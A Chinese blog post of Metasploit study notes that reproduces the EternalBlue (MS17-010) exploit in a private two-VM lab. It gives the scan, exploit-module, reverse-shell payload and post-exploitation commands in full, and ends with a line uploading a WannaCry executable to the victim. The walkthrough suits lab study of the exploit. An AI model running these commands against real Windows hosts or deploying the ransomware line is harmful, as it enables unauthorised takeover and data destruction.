Metasploit学习笔记（二）——永恒之蓝MS17-010漏洞复现

Zichel77

已于 2022-10-09 18:43:18 修改

阅读量2.4k

点赞数 1

分类专栏： WEB学习 Metasploit 文章标签：学习网络安全永恒之蓝 kali

于 2022-10-06 21:40:58 首次发布

本文链接：https://blog.csdn.net/weixin_43965597/article/details/127187483

版权

101 篇文章 11 订阅

订阅专栏

10 篇文章 0 订阅

订阅专栏

1. 前期准备

虚拟机：

开启了两台虚拟机，保证在同一网段下

##Kali
ifconfig
##Windows 7
ipconfig

Kali攻击机IP为192.168.92.131
在这里插入图片描述
Windows下IP地址为192.168.92.136

两台虚拟机在同一网段，故可保持通信

nmap -sS 192.168.92.136

使用的是nmap模块，输入命令进行扫描
在这里插入图片描述
发现445端口打开，SMB漏洞MS17-010(永恒之蓝)正是基于445端口进行传播，因此可以加以利用

这里有各种MS17-010漏洞版本，我们根据目标系统选择编号为3的版本

msfconsole
search ms17-010

在这里插入图片描述

use exploit/windows/smb/ms17_010_eternalblue
##利用永恒之蓝漏洞
set payload windows/x64/meterpreter/reverse_tcp
##设置payload

在这里插入图片描述

set LHOST 192.168.92.131
##设置本机IP地址
set RHOSTS 192.168.92.136
##设置受害主机IP
set RPORT 445
##设置端口445，注意该端口共享功能是高危漏洞端口，包括之前分享的139、3389等
exploit
##利用漏洞

在这里插入图片描述
看到WIN才说明利用成功，FAIL就是失败

getuid

返回系统管理员权限
在这里插入图片描述

cd ..
# 创建文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 创建文件并写入内容
echo helloworld>test.txt

在这里插入图片描述
就可以看到windows7电脑中新建了这么个文件

我没这个病毒就不传了哈哈哈哈哈

shell
upload /root/wcry.exe c:\

关注

专栏目录